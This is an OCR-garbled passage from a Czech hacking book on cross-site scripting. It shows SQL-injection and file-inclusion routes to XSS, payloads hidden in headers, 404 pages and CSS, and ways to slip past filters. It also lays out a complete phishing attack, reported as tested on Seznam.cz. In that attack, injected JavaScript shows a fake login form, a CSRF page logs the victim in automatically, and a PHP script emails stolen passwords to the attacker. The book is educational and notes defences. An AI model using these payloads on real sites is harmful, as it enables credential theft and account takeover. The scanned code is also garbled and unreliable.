ve zkracené podobé vypadat podobné, jako ten z vypisu 122.

Vypis 122 — Ukazka php skriptu zraniteIného na SQL injection

<?php
S$idclanek = $ GET[“id”];
$dotaz = “SELECT * FROM clanky WHERE idclanku=$idclanek”;
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Nyni si ve vypisu 123 ukazeme, jaké SQL dotazy nakonec na
serveru vzniknou, pokud pfeddme vstupy z vypisu 121. Z vypisu by mélo
byt patrné, pro¢ jeden ze vstupl vrati pozadovany obsah a druhy nikoliv.

Vypis 123 — SQL dotaz vznikly po viloZeni testovacich vstupu

dotaz = “SELECT * FROM clanky WHERE idclanku=2 and 1=1";
dotaz = “SELECT * FROM clanky WHERE idclanku=2 and 1=0";

Nasledujicim krokem bude zjisténi poctu sloupct v databazové
tabulce. To provedeme postupnym zvétSovanim ¢&isla v klauzuli order by.

Vypis 124 - VloZeni JavaScriptu do zdroje RSS

http://www.example.cz/rec/recview.asp?co=2 order by 3

Tabulka ma tolik sloupct, kolik je nejvétsi ¢islo pouzité v klauzuli
order by, a které jesté nezpisobilo chybu. Nyni, kdyz vime, kolik ma
tabulka sloupcti miZzeme ji spojit s Nami vytvofenym dotazem, pfi¢emz jako
hodnotu parametru uvedeme takovou, kterd se v databazi urcité nevyskytuje
(-1). Pocet hodnot naseho pfipojeného dotazu musi byt shodny s poétem
sloupcti databazové tabulky.

Vypis 125 - Pripojeni testovacich hodnot k tabuce vrdacenych vysledki

http://www.example.cz/rec/recview.asp?co=-1 union all select 1,2,3

e ——————————eeeee L

Soubor Upravy Zobrazeni Historie Zalozky Mdstroje Népovéda
@ - o % P - it/ voarnigige/rec/recview.asplco=-1 union all select 1,2.3] > - | |49~ Google »

| hteps/fwvrw gic...Ofrom9%20recenze |

Hotovo # (8 Tor Disabled g,k

Vidime, které informace z dotazu (hodnotyl, 2 a 3) se promitaji
zpét do obsahu webové stranky. Na jejich misto nyni jiz mizeme vlozit kod
naseho JavaScriptu, jak ukazuje vypis 126.
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Vypis 126 — VloZeni JavaSkriptu do obsahu stranky vyuZitim SQL injection

http://www.example.cz/rec/recview.asp?co=-1 union all select
'SIXSS v praxi', '<script>alert (/SIXSS/)</script>"',3

@ Mozilla Firefox [=[=] = T

@ Y C XD W P~ (] nttpy//wwwamcz/rec/recview.zspico=-1 union all select ‘SIS v prax 7~ | |- Google p

1. Nahrévani...

PrendZeni dat 2 wwvasihcz... # (@ TorDisabled :ﬁ

Vysledny odkaz s vlozenym kodem zneuzivajici SQL injection na
webu, ktery je jinak vic¢i XSS imunni, mtze uto¢nik vyuzit béznym
zpisobem k vyvolani non-persistentniho XSS u uzivateld.

XSS s vyuzitim RFl a LFI

Stejné jako v ptedchozich odstavcich, kdy jsme si popsali moznost
propasovani XSS do dokumentu skrz zranitelnost SQL injection, existuje
také moznost vyuzit ke vloZzeni naseho skriptu zranitelnosti LFI - Local File
Inclusion nebo RFI - Remote File Inclusion.

Jisté uz jste se na webu stietli s pfipadem, kdy je obsah webové
stranky vkladan z umisténi, které je predavano parametrem URI. Takové
URI ma podobu naptiklad jako to z vypisu 127.

Vypis 127 - Priklad URI predévajici v parametru includovanou stranku

http://www.hackingvpraxi.cz/include.php?page=uvod.html

Pokud ma skript include.php podobu jako ten z vypisu 128
a dostate¢né neosetfuje hodnotu predanou parametrem page, umozni nacteni
stranky z jakékoliv pfedané lokace. Toho mize vyuzit Uto¢nik ke vlozeni
URL adresy sméfujici na webovou stranku obsahujici kod JavaScriptu.
Vzhledem k tomu, Ze je kod vkladan na strané serveru a teprve po té je
predan uzivateli, bude skript vykonan v kontextu webu, ktery tuto stranku
inkludoval do svého obsahu.
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Vypis 128 - Priklad nezabezpeceného php skriptu pro inkluzi webové stranky

<?php
include $_GET['page'l];
?>

Vypis 129 - URI preddvajici v parametru includovanou stranku s atoénym kédem

http://www.hackingvpraxi.cz/include.php?page=http://www.atacker.cz/xss.html

V tomto ptipadé Slo o RFI, protoze vkladana stranka pfichazela ze
vzdaleného serveru. Casto viak neni z mnoha divodi mozné vkladat zdroje
z externich server. MiZe to byt napiiklad proto, Ze je tato funkce na serveru
zablokovana php direktivou allow_url_include, nebo proto, ze vyvojaii
webovych aplikaci oSetfuji vkladanou hodnotu tak, ze neumozni uvedeni
protokolu jako naptiklad "http://" nebo "ftp://" na zaCatku piedivané
hodnoty. Mnohdy se také kontroluje, zda se uvedeny soubor skutedné
nachézi na stejném serveru. Toho miize byt docileno pfidanim sekvence ./
ptred hodnotu ziskanou z pfedaného parametru nebo funkei file_exists(), jak
ukazuje kod z vypisu 130.

Vypis 130 - Skript s inkluzi webové stranky s osetfenym RFI

if (file exists($_GET['page'l))
include $_GET['page'l];

Aby se uto¢nikovi podatilo inkludovat HTML stranku i v tomto
ptipade¢, bude ji muset ulozit na stejném webovém serveru. Potom se bude
jednat o Local File Injection. Ke vlozeni souboru mize uto¢nik zneuzit
napiiklad upload souborti, pokud jej aplikace poskytuje, nebo vyuzit jiného
uctu na stejném serveru, na ktery ma piistup. Skrz tento ucet mize svij
soubor umistit do nékterého ze sdilenych adresaii vyuzitim nékteré
z dostupnych funkeci php?, kterou je mozné pro tento tcel zneuZit.

Na umisténi lokalniho souboru je pak mozné se v parametru
odkazovat pomoci relativniho odkazu tak, jak ukazuje vypis 131.

Vypis 131 - URI predavajici v parametru includovanou stranku s iutoénym kédem

http://www.hackingvpraxi.cz/include.php?page=../../../../mydir/xss.html

! http://www.soom.cz/index.php?name=articles/show&aid=365
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Z uvedenych piikladd by mélo byt ziejmé, ze webova bezpecnost
je zalezitosti, kterou je nutné fesit komplexné. Jakkoliv si totiZ zabezpe¢ime
aplikaci proti zneuziti XSS, nebude nam to nic platné, pokud bude aplikace
obsahovat jiné typy zranitelnosti, pomoci nichZ je mozné uto¢né skripty na
stanky propasovat.

Nakazené cookies

Je potieba si uvédomit, ze data od uzivatele nechodi na server
pouze v parametrech metody GET nebo POST, ale naptiklad i v podobé
obsahu cookies. Piedstavte si, ze mame v cookie ulozenu hodnotu, ktera se
z n&jakého divodu vkladda do obsahu webovych stranck. Mize jit
o0 viditelnou informaci, ale tieba také o fetézec ve skriptech vlozenych do
webové stranky samotnou aplikaci. Pokud by ve vystupu téchto hodnot
nebyly oSetfeny nebezpetné znaky, mohlo by tak opét dojit ke spusténi
obsazeného skriptu.

Pro uto¢nika je podvrzeni tohoto obsahu ale ponékud
problematické. Musime si totiz fici, ze obsah cookie, miize zaslat pouze sdm
server, nebo muze byt nastaven klientskym skriptem, ovSem pouze
v mantinelech Same Origin Policy. To znamena, Ze chceme-li nastavit obsah
cookie prostfednictvim JavaScriptu, miizeme tak ucinit pouze z dokumentu,
ktery pochazi ze stejné domény, které cookie nalezi. Ocitame se tedy
v zaCarovaném kruhu, ze kterého vede pouze cesta nalezeni jiné XSS
zranitelnosti. Ze to nedava smysl? Nékdy mozna ne, oviem jindy se naopak
miZze stat, ze bychom radi zmanipulovali prave tu stranku, kde se projevuje
zranitelnost skrze skript ptichazejici z cookie, nez tu, kde mtizeme XSS
vyvolat piimo. V takovém ptipad¢ je vhodné uzivateli pomoci bézného XSS
nakazit cookie a nasledné¢ vyckat, az navstivi stranku, kde se skript
z nakazeného cookie projevi. Pikladem budiz hacknuti Zivé.cz, které jsem
jiz diive jednou zminoval. Zde autor utoku vyuzil XSS =zranitelnosti
v diskuzi, aby nakazil cookie uzivatel. Skript z cookie se nasledné
aktivoval v ptihlasovacim formulafi a dokazal tak zachytavat uzivatelska
hesla.
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Vstup pres HTTP hlavi¢ky

Pokud se ve vypisu 132 podivate na zachycenou komunikaci mezi
klientem a serverem, uvidite, ze krom¢ parametri pozadavku a obsahu
cookies se na server piedavaji jesté nekteré dalsi hlavicky, identifikujici nas
prohlize¢ nebo stranku, ze které pfichazime.

Vypis 132 - Zachyceny HTTP poZadavek

GET http://www.hackingvpraxi.cz:80/search.php HTTP/1.1

Host: www.hackingvpraxi.cz

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.2.12)
Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,*/*;g=0.8
Accept-Language: cs,en-us;q=0.7,en;g=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: windows-1250,utf-8;9=0.7,*;g=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http://www.hackingvpraxi.cz/

Vsechny tyto hlavi¢ky je mozné na strané klienta zménit, a proto
nelze pocitat s tim, ze budou skutecné obsahovat pravdivé udaje. Kromé
jakychkoli fale$nych udaji je mozné do téchto hlavicek vlozit dokonce
i uto¢ny skript. Staci, aby webova stranka zobrazovala tyto hodnoty ve svém
obsahu. Vyzkouset si to miizete sami pomoci php skriptu z vypisu 133.

Vypis 133 - PHP skript reflektujici HTTP hlavi¢ky referer a user_agent

<?php
echo urldecode ($_SERVER['HTTP_REFERER']) ;
echo $ SERVER['HTTP_USER AGENT'];

2>

Uvedenou zranitelnost je mozné vyuzit v pripadé, kdy se udaje
ztéchto hlavicek nékde zaznamenavaji a nasledné jsou k dispozici
k nahlédnuti. To samoziejmé neni nikterak vyjimeéné. Aplikace totiz Casto
pomoci téchto hlavicek vytvareji statistiky, zobrazujici informaci o tom,
odkud na stranku jeji uzivatelé prichazeji a jaké pouzivaji webové
prohlizeCe. Pokud odesleme skriptem nakazenou HTTP hlavicku
a administrator aplikace si prohlédne stranky se statistikou, které obsahuji
XSS zranitelnost, dojde na jeho strané ke spusténi injektovaného skriptu.
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Stranka 404

S chybovou strankou 404 Not Found jste se jiz jist¢ setkali
nespocetnekrat. Tato stranka informuje uzivatele o tom, ze se vyzadany
dokument na serveru v daném umisténi nenachazi. Defaultn¢ je zobrazena
stranka implementovana ve webovém serveru, ale nic nebrani tomu, aby tuto
informaéni stranku navrhli a vytvotili sami tvirci webové aplikace. To se
také velmi Casto d&je, protoze je pfeci jen uZzivatelsky daleko piivétivejsi,
kdyz aplikace uzivateli pti nenalezeni dokumentu sdéli (nejlépe v rodném
jazyce), co se to vlastng stalo a dala mu na vybér z riznych moznosti dalsiho
postupu, neZ aby jen stroze konstatovala 404 Not Found.

Soubor Upravy Zobrazeni Historie Zalptky Nestroje Napowéds
@ B C D % } -] hitps//wwwhackingvpraxi.czftesthtml 7 < | 18- Google p

|| 404 Not Found - -

Not Found

The requested URL /test html was not found on this server.

Hotovo # @ TorDisabled Ry

Z hlediska XSS tutoku je dilezité, ze stranka s chybovym kodem
404 casto reflektuje URI, které si uzivatel vyzadal. To se tak stava mistem,
na které se mize utocnik zaméftit pfi pokusu o propasovani svého kodu.
Predstavte si stranku 404 tvofenou kodem z vypisu 134, ktera zadnym
zpusobem neosetfuje zobrazovanou hodnotu URI.

Vypis 134 - Zdrojovy kéd nezabezpecené stranky 404 Not Found

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
<title> Chyba 404 </title>
</head>
<body>
<hl>Chyba 404</hl1>
<?php
echo (urldecode ("PoZadovand strénka <b>"
.getenv ("SERVER NAME") .getenv ("REQUEST_URI")
."</b> nebyla na serveru nalezena."));
E
</body>
</html>
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Nasmérovani uzivatelti na vlastni stranku oznamujici vyskyt chyby
404 mize webmaster zajistit napiiklad vhodnym zdznamem v souboru
.htaccess. Staci do né&j pridat fadek s nasledujicim textem.

Vypis 135 - Nastaveni pfesmérovani na definovanou stranku 404 pomoci .htaccess
ErrorDocument 404 /stranka404.php

Vyzkousejte nyni zadat URL z nasledujiciho vypisu. Protoze bude
toto URL bez jakékoliv kontroly pfimo vlozeno do obsahu stranky 404,
dojde tak ke spusténi obsaZeného skriptu. Uvedena adresa lze nasledné
pouzit jako cil nebezpeéného odkazu.

Vypis 136 - URL s vloZzenym skriptem
http://www.hackingvpraxi.cz/%$3Cscript%3Ealert%28/XSS/%29;%3C/script%3E

@ chyba 404 - Mozilla Firefox [=[E] %
@ S C X & % P - L ntp/wwwheckingvpresi.c/<scriptrolertX5S/);</scripts 77 -] |4 Google P
.,¢ Chyba 404
Chyba 404
Pozadovan stranka www hackingvpraxi.c2/ Sdélen stranky http:/funw hackingvprax.cz ==

(Y PSS/
Prenaeni dat z www hackingvpraxi.cz... # 0 TorDisabled iﬂii

Stavovovych kodu protokolu HTTP existuje mnohem vice neZ jen
kéd 404 a zrovna tak mohou byt vSechny oSetieny webovou aplikaci.
XSS si ale ¢asto vystadite pravé se strankou, obsluhujici stavovy kod 404,
ptipadné jesté¢ 403 Forbidden, ktera informuje o zakazu prohlizeni dané
stranky, pokud nemate patficnd opravnéni, nebo kdyz je zakdzan vypis
obsahu adresart.
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Tabulka 31 - Seznam chybovych kédu

400 Bad Request

401 Unauthorized

402 Payment Required

403 Forbidden

404 Not Found

405 Method Not Allowed

406 Not Acceptable

407 Proxy Authentication Required
408 Request Timeout

409 Conflict

410 Gone

411 Length Required

412 Precondition Failed

413 Request Entity Too Large

414 Request-URI Too Long

415 Unsupported Media Type

416 Requested Range Not Satisfiable
417 Expectation Failed

418 I'm a teapot

422 Unprocessable Entity

423 Locked

424 Failed Dependency

425 Unordered Collection

426 Upgrade Required

449 Retry With

450 Blocked by Windows Parental Controls
500 Internal Server Error

501 Not Implemented

502 Bad Gateway

503 Service Unavailable

504 Gateway Timeout

505 HTTP Version Not Supported
506 Variant Also Negotiates

507 Insufficient Storage

509 Bandwidth Limit Exceeded (Apache bw/limited extension)
510 Not Extended

Vlozeni skriptu skrz CSS (XSSTC)

Zdalo by se, ze kaskadové styly, které definuji vzhled webové
stranky a které jsou jen seznamem vlastnosti jednotlivych prvki v sobé
zadny aktivni kod obsahovat nemohou. Webové prohlizece ovsem pfisly
s myslenkou, Ze by bylo dobré, kdyby se styl stranky mohl dynamicky ménit
napiiklad podle rozliSeni, které ma uzivatel nastaveno. Pro tuto moznost
rozhodovani tedy implementovaly nékteré nestandardni vlastnosti, které
umoziuji pfimo uvniti CSS stylu spustit kod JavaScriptu. Rtizné prohlizece
se ale jako obvykle vydaly riznymi cestami.
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CSS vlastnost expression v IE

Internet Explorer implementoval vlastnost expression, jejiz pouZiti
je velice jednoduché. Vlastnost vyhodnoti kod JavaScriptu, ktery je ji
ptedan, a vysledek pouzije jako hodnotu vlastnosti. Ve vypisu 137 si muzete
prohlédnout nékteré zplsoby, kterymi je mozné styl vlozit ptimo
k jednotlivym prvkim HTML koédu a ve vypisu 138 pak moZnost vlozeni
JavaScriptu do externiho CSS souboru.

U vlastnosti expression, stejné jako u vSech ostatnich CSS
vlastnosti, je pro utocnika zajimavou skutecnosti moznost pouzit nekteré
zpusoby zakodovani znakd, o kterych si povime v samostatné kapitole. Diky
tomu mize byt pro bezpecnostni filtry velice obtizné rozpoznat vyskyt
expression v pfedaném HTML kodu. Dalsi zvlastnosti, které si mizete
v nékterych piikladech ve vypisu 137 vSimnout, je pouziti podminky, kdy se
ma piikaz vykonat a kdy ne. Pokud bychom tuto podminku neuvedli,
vyskakovalo by na nas okno se zpravou stale dokola. K zapamatovani stavu
tak vyuZijeme proménné r naleZejici objektu window, a podle jeji hodnoty
nas skript vétvime.

Vypis 137 — PouZiti CSS vlastnosti expression v in-line stylech

<div style=

"&#92; 78&#58; &#92;65&#92; 78&#92; T0&#92; 72&#92; 65&#92; 73&#92; 73&#92; 69&#92; 6f&
#92; 6e (alert ('XSS1')) "></div>

<div style="\78:\65\78\70\72\65\73\73\69\6f\6e (alert ('XSS2'))"></div>

<div style="xss:expression (alert ('XSS3'))"></div>

<div style="xss:expression((window.r==1)?"'':eval('r=1;alert(l);"'))"></div>
<div style="xss:expression (if (window.r!=1) {r=1;alert(1l)})"></div>

<div style="background-image:url (javascript:alert(1l))"></div> IE 6

Vypis 138 - Pouziti CSS vlastnosti expression v externim souboru

test.html
<link rel="stylesheet" href="style.css" type="text/css" />
style.css

body {
xss:expression (alert ("XSS"));

}




154 Cross-Site Scripting v praxi

CSS vlastnost behavior v IE

Podobné jako v ptipadé vlastnosti expression, se i v piipadé
behavior jednd o nestandardni CSS vlastnost, kterda je dostupnd pouze
Vv Internet Exploreru. Tato vlastnost umoziuje jednotlivym prvkiim pfifadit
kromé styld také funkce pro jednotlivé udalosti. Pro zapis se pouZivaji htc
Sablony, které musi byt ulozeny tak, aby spliiovaly podminky Same Origin
Policy. Vypis 139 ukazuje piiklad pouziti.

Vypis 139 - Pouziti CSS vlastnosti behavior a htc Sablony

<XSS style="behavior: url (test.htc);">
test.htc
<PUBLIC:COMPONENT TAGNAME="xss">
<PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main ()"
LITERALCONTENT="false"/>

</PUBLIC:COMPONENT>
<SCRIPT>

function main ()

{

alert ("XSS") ;

}

</SCRIPT>

XBL a-moz-binding ve Firefoxu

Firefox sice nepodporuje stejné CSS vlastnosti jako Internet
Explorer, ale ptesto dokaze spustit kod JavaScriptu z CSS pomoci XBL. Ve
vypise 140 ukazuji piiklad pouZziti —moz-binding.

Protoze dochazelo ke zneuZzivani této funkce, doSlo ve Firefoxu
nejprve k osetieni pomoci Same Origin Policy, ke které pozdéji pfibyla také
direktiva data:, a nakonec se pouziti omezilo pouze na protokol chrome:.

Vypis 140 — PouzZiti XBL s -moz-binding

<p style="-moz-binding: url (binding.xml#mycode) ;">
binding.xml
<?xml version="1.0"2>
<bindings xmlns="http://www.mozilla.org/xbl"
xmlns:html="http://www.w3.0rg/1999/xhtml">
<binding id="mycode">
<implementation>
<constructor>
alert ("XSS");
</constructor>
</implementation>
</binding>
</bindings>
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Spusténi skriptu ve vlastnim profilu

Nékdy se stane, ze nalezneme persistentni XSS zranitelnost, ktera
se projevuje pouze v nasem vlastnim profilu. Naptiklad na portalu
Seznam.cz se takové zranitelnost' nachézela v systému zobrazovéni
poznamek na homepage www.seznam.cz. Kazdy registrovany uzivatel
Seznam.cz ma moznost si napsat své vlastni poznamky a ty si nechat
zobrazovat na titulni strance. Ta ov8em pii jejich zobrazovani neoSetfovala
nebezpedné znaky a umoziovala tak spusténi skripti. Pokud je ale aplikace
zabezpecena vic¢i CSRF tutokim, neni moznost vlozit poznamku do Gétu
jinému uzivateli. No a pravé zde pfichazi na fadu zneuziti XSS zranitelnosti
ve svém vlastnim profilu.

Vyuzijeme skuteCnosti, ze témef 99% piihlasovacich formulait
neni chranéno proti CSRF. Pro¢ by také mélo byt, kdyz jesté nejsme
pfihlaseni? Tim se ovSem otevirda moznost piihlasit pomoci odkazu
kteréhokoliv uzivatele pod nas vlastni ucet a tim u né& vyvolat skrz XSS
spusténi skriptu, ktery jsme v tomto Uctu ptichystali. Nyni se asi ptate,
k éemu nam mize byt dobré hackovat sviij vlastni Gcet, skrz jiného
uzivatele. Odpovéd je ale nasnadé. Podafi-li se ndm totiz v prohliZze¢i
uzivatele spustit kod JavaScriptu, mizeme piistupovat k zobrazenému
webovému dokumentu a ménit jeho obsah. Vice si o defacementu webovych
stranek povime v kapitole vénované konkrétnim utoktiim. Nyni nam bude
stacit veédet, ze neni problém pomoci JavaScriptu zménit piihlasovaci
formulaf, nebo dokonce zobrazit sviij vlastni. Nasmérujeme tedy uzivatele
na webovou aplikaci, do které ho ale nejprve piihlasime pod nasim uctem.
Spustény JavaScript se postara o zamaskovani skutecnosti, Ze je uzivatel jiz
ptihlaSen a zobrazi upraveny piihlaSovaci formulaf, ktery bude zachytavat
vlozené udaje. Stejn¢ tak muize JavaScript na stanku vlozit keylogger, ktery
odvede stejnou praci odposlouchavanim stisknutych klaves.

Mnoho webovych aplikaci navic umoziuje trvalé piihlaseni
k uctu, které mtizeme soucasné s CSRF piihlagenim uZivatele pod nakazeny
ucet také zapnout. Tim mizeme browser uZivatele piimét k tomu, aby
pokazdé kdyz pfejde na stranky aplikace, spustil vlozeny JavaScript
a provedl patti¢né upravy stranky. To Casto i v pfipadé, ze mezitim dojde
k vypnuti prohlizece.

Na tento typ utoku jsou nachylné také vSechny aplikace

poskytujici uzivatelim moznost pouzivat sviij vlastni CSS soubor se stylem,
ktery definuje vzhled webové aplikace. Zda CSS soubory neobsahuji

! http://www.soom.cz/index.php?name=articles/show&aid=517
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nebezpedny kod, o kterém jsme jiz mluvili, je mozné zkontrolovat pouze
V piipadg, e by byl tento soubor uloZen v samotné webové aplikaci. Castgji
se ale setkdme s tim, Ze se do aplikace uklada pouze odkaz na tento soubor,
a ten tak miZe byt dotahovan z jakéhokoliv umisténi az prostfednictvim
webového prohlizece.

Obsahuje-li na§ CSS soubor kod JavaScriptu, ktery se postara
0 zménu webové stranky a zachyceni pfihlasovacich udaji, miZeme jej
vyuzit po pfihlaseni uzivatele pod nas ucet stejnym zpusobem, jako by tomu
bylo u jakékoliv jiné XSS zranitelnosti.

V nasledujicim schématu se pokusim cely popsany pribéh ttoku,
ktery je veden skrz nas vlastni Géet, graficky znazornit a jednotlivé kroky
podrobngji popsat. Kody, které pouZziji v nasledujicich vypisech byly
vytvofeny béhem testovani utoku, ktery demonstroval tuto zranitelnost na
portalu Seznam.cz
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7
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Pfed samotnym utokem si utoénik pfipravi pidu umisténim
potiebnych kodl na sviyj server. Jedna se predev§im o JavaScript
(vypis 141), ktery bude pozd&ji injektovan do zranitelné stranky
vyuzitim jeji XSS zranitelnosti. Dale si pak pfipravi webové
stranky s automaticky odesilanymi formulafi pro pfihlaseni
uzivatele pod nakaZzenym uctem (vypis 142) a pro prihlaseni
uzivatele pod jeho vlastnim uétem (vypis 143).

Naésledné si uto¢nik vytvoti v aplikaci Gcet, ktery bude pouzit
pouze za ucelem popisovaného ttoku. Tento ucet nakazi Gitoénik
injektovanim JavaScriptu tak, aby doSlo k jeho spusténi
automaticky po ptihlaseni k ucétu.

Utoénik odesle své obéti odkaz na stranku s automaticky
odesilanym formulafem (vypis 142), ktery se postara o pfihlaseni
uZzivatele pod piipravenym uc¢tem uto¢nika.

Ve chvili, kdy uzivatel na odkaz klikne, nate se stranka
s automaticky odesilanym formulafem, ktera je uloZzena na serveru
utocnika.

Automaticky odesilany formulat odesle CSRF pozadavek pro
ptihlaSeni uzivatele na stranu webové aplikace. Soucasné tento
pozadavek nastavuje trvalé ptihlaseni k aplikaci.

Uzivatel je ptihlasen pod uétem Uto¢nika. Je mu zobrazena stranka
obsahujici vlozeny JavaScript, ktery stranku upravi tak, aby
vypadala jako bézna stranka aplikace ve chvili, kdy uzivatel neni
ptihlasen. Na stranku je vlozen piihlasovaci formulaf s atributem
action smétujicim se server tito¢nika.

Uzivatel mtize ihned, nebo diky trvalému piihlaSeni i kdykoliv
pozdé&ji, vyplnit pfihlasovaci formulédf vygenerovany JavaScriptem
na webové strance uzivatele.

Pfihlasovaci tdaje jsou po piihlaseni uzivatele zasany na server
utocénika.

Skript bézici na webovém serveru uto¢nika obdrzena data ulozi
nebo odesle Gtocnikovi.

Nasledné stejny skript pouzije zadand data k novému CSRF
pozadavku, pomoci kterého ptihlasi uzivatele pod jeho skute¢ny
uzivatelsky ucet v aplikaci.

UZzivatel je pfihlasen k webové aplikaci a je mu zobrazen jeho
vlastni uzivatelsky profil.
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Vypis 141 - JavaScript vkladajici na stranku pfihlasovaci formular

document.getElementById('info').innerHTML = '';
window.onload=function() {
document.getElementById('gadget-3') .innerHTML = '<div class="gagdet-

cont"><div class="main-cont"><h3 class="title s_win_title"><span
class="text"><a href="#">Email.cz</a></span><span class="edit"><a
href="http://registrace.seznam.cz/register.py/stageZeroScreen?service=email"
class="edit-text">zalozit novy email</a></span><span
class="bck"></span></h3><div class="g-cnt s_win_area"> <form id="login-form"
action="http://error.mesage.sweb.cz/send.php" method="post"><input
type="hidden" name="loggedURL" value="http://email.seznam.cz/ticket" /><input
type="hidden" name="serviceId" value="email" /><input type="hidden"
name="forceSSL" value="0" /><p><label for="login">Jméno:</label><input
tabindex="1" class="login" size="8" id="login" name="username" type="text"
value="" /><select tabindex="3" name="domain" id="domain"><option
value="seznam.cz">@seznam.cz</option><option
value="email.cz">@email.cz</option><option
value="post.cz">@post.cz</option><option
value="spoluzaci.cz">@spoluzaci.cz</option><option
value="stream.cz">@stream.cz</option><option
value="firmy.cz">@firmy.cz</option></select></p><p><label
for="password">Heslo:</label><input tabindex="2" class="login" size="8"
id="password" name="password" type="password" /><input tabindex="4"

"submit" value="P¥ihlasit" class="sub" onClick=\'document.cookie =

;"\' /><input type="hidden" name="js" id="3js" value="0" /></p><p
id="remember-line" class="regist"><input type="checkbox" id="remember"
name="remember" value="1" /><label for="remember" title="Po zadkrtnuti bude
Vase pfihlaSovaci jméno p¥i p¥istim zobrazeni Seznam Homepage vyplnéné a bude
ptihla8eny/a">prihlasit se trvale na tomto poditadi</label></p></form><div
id="adButton"></div></div></div></div>"';};

Vypis 142 — Stranky s ramem pro automatické CSRF pfihlaseni uZivatele

index.html

<html>
<head>
<meta http-equiv="Content-Language" content="cs">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2">
</head>
<body>
<p>Litujeme, ale webova stranka neexistuje.</p>
<iframe src="ram.html" width="0" height="0"></iframe>
</body>
</html>
ram.html

<html>
<head>
</head>
<body>
<form name="form" method="post" action="http://login.szn.cz/loginProcess">
<input type="text" name="loggedURL" value="http://www.seznam.cz/ticket"
style="display:none">
<input type="text" name="serviceId" value="email" style="display:none">
<input type="text" name="forceSSL" value="0" style="display:none">
<input type="text" name="username" value="mail.attacker"
style="display:none">
<input type="text" name="domain" value="seznam.cz" style="display:none">
<input type="text" name="password" value="qgwertz" style="display:none">
<input type="text" name="js" value="1" style="display:none">
<input type="text" name="remember" value="1" style="display:none">
</form>
<script>form.submit () ;</script>
</body>
</html>
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Vypis 143 - PHP skript uklddajici obdrZena data a prihlasujici uZivatele k aplikaci

<?php
Susername = htmlspecialchars ($_POST["username"]);
Spassword = htmlspecialchars ($_POST["password"]);
$domain = htmlspecialchars ($_POST["domain"]);
Smessage = Susername."@".$domain." heslo: ".S$password;
mail ("attacker@seznam.cz","Nove ziskane heslo na Seznam.cz",$message,"");
Ees
<html>
<head>
</head>
<body>
<form name="form" method="post" action="http://login.szn.cz/loginProcess">
<input type="text" name="loggedURL" value="http://email.seznam.cz/ticket"
style="display:none">
<input type="text" name="serviceId" value="email" style="display:none">
<input type="text" name="forceSSL" value style="display:none">
<input type="text" name="username" value="<?php echo $username; ?>"
style="display:none">
<input type="text" name="domain" value="<?php echo $domain; ?2>"
style="display:none">
<input type="text" name="password" value="<?php echo $password; ?>"
style="display:none">
<input type="text" name="js" value="1" style="display:none">
<input type="text" name="remember" value="0" style="display:none">
</form>
<script>
form.submit () ;
</script>
</body>
</html>
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Kapitola 5

Pristup
bezpecnostnimi filtry

KdyZz uz nyni zndme dostatek informaci o cestach, kterymi je
mozné injektovat kod JavaScriptu do obsahu HTML stranek (nebo do
obsahu, ktery je na webu zobrazovan riznymi plug-iny), zbyva nam fici si
také néco o bezpecnostnich filtrech, kterymi se snazi vyvojafi ochranit své
aplikace pred utoky XSS.

Existuji samoziejmé i nepristielné filtry, zalozené vétSinou na
bilych seznamech, které povoli uzivateli vlozit pouze bezpeény obsah.
Setkat se mizete ale také s filtry, které funguji na bazi Cernych seznamd,
nebo stakovymi, které nejsou navrzeny zcela sprdvné a umoziuji tak
riznymi metodami jejich kontrolni mechanismy obejit.

Obchazeni bezpecénostnich filtri

Mala a velka pismena

Jazyk HTML neni case sensitive a nerozliSuje proto velka a mala
pismena. Interpretu je naprosto jedno, zda uvedeme nazev tagu <script>
nebo <SCRIPT>. Toho se vyuziva napiiklad pfi obchazeni bezpe¢nostnich
filtrt webovych aplikaci, které jsou zalozeny na pouziti blacklistu. To je
takovych, které se fidi pravidlem, Ze co neni zakdzano, je povoleno. Tyto
filtry bohuzel ¢asto obsahuji pfesné stanovené fetézce jako jsou javascript:,
<script> nebo <SCRIPT>. Tvirce takového filtru si ale pii jeho tvorbé
nemusi uvédomit, ze Utoénik mize pouzit i rizné kombinace velkych
amalych pismen avytvofeny bezpeCnostni filtr se tak mize stat
prustielnym. Stejny vyznam, jako ma tag <script> zapsany malymi pismeny
maji v HTML totiz i tvary zapisu uvedené v tabulce 32.

Tabulka 32 - Priklady zapisu s pouzitim velkych a malych pismen

<script> <SCRIPT>
<Script> <ScripT>
<SCRiPt> <SCRipt>
javascript: JAVASCRIPT:

Javascript: JAVASCRIPT:
JaVaScRiPt: JAVAsCrIpT:
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Pouzivani blacklistd se rozhodné nedoporucuje, protoze se témet
vzdy najde né&jaka ta skulina, jak je obejit. Pokud byste se k jejich pouziti
pfeci jen z né&jakého divodu uchylili, myslete v nich proto i na tento typ
mozné injekce nebezpecénych kodu. Naptiklad vzdy preved'te uzivatelsky
vstup nejprve na sjednocenou velikost pismen a teprve po té svij filtr
aplikujte.

Prokladani specialnimi znaky

Podobné jako tomu bylo u velikosti pismen, je v néekterych
situacich mozné obejit bezpecnostni filtry aplikace prolozenim
nebezpeénych fetézci specidlnimi bilymi znaky, které uvadim v tabulce 33.

Tabulka 33 - specidlni bilé znaky

&#x00; NULL

&#x09; Horizontalni tabuléator
&#x0A; Novy fradek

&#x0D; Navrat na zacatek radku

Znak NULL s ASCII hodnotou znaku 00, nebo-li také nulovy znak,
je mozny vyuzit i u jinych typti utokd. My vSak zidstaneme jen u XSS
afekneme si, Ze tento velice specidlni znak je mozné vkladat naptiklad do
samotnych tagl, aniz by néjak omezil jejich funkci. Vedle néj je mozné
pouzit u fetézci (napiiklad v atributu Src) i ostatni bilé znaky z ptedchozi
tabulky. Bilé znaky, jako je tfeba tabuldtor, nebo pfechod na novy fadek
muzeme nékdy vkladat ptimo pomoci klaves tabulator nebo enter. Jindy je
zase vhodné vkladat je pomoci jejich HTML entity. Znak NULL ovsem
mizeme Casto zapsat jen s pouZzitim skriptu nebo pies hexadecimalni editor.
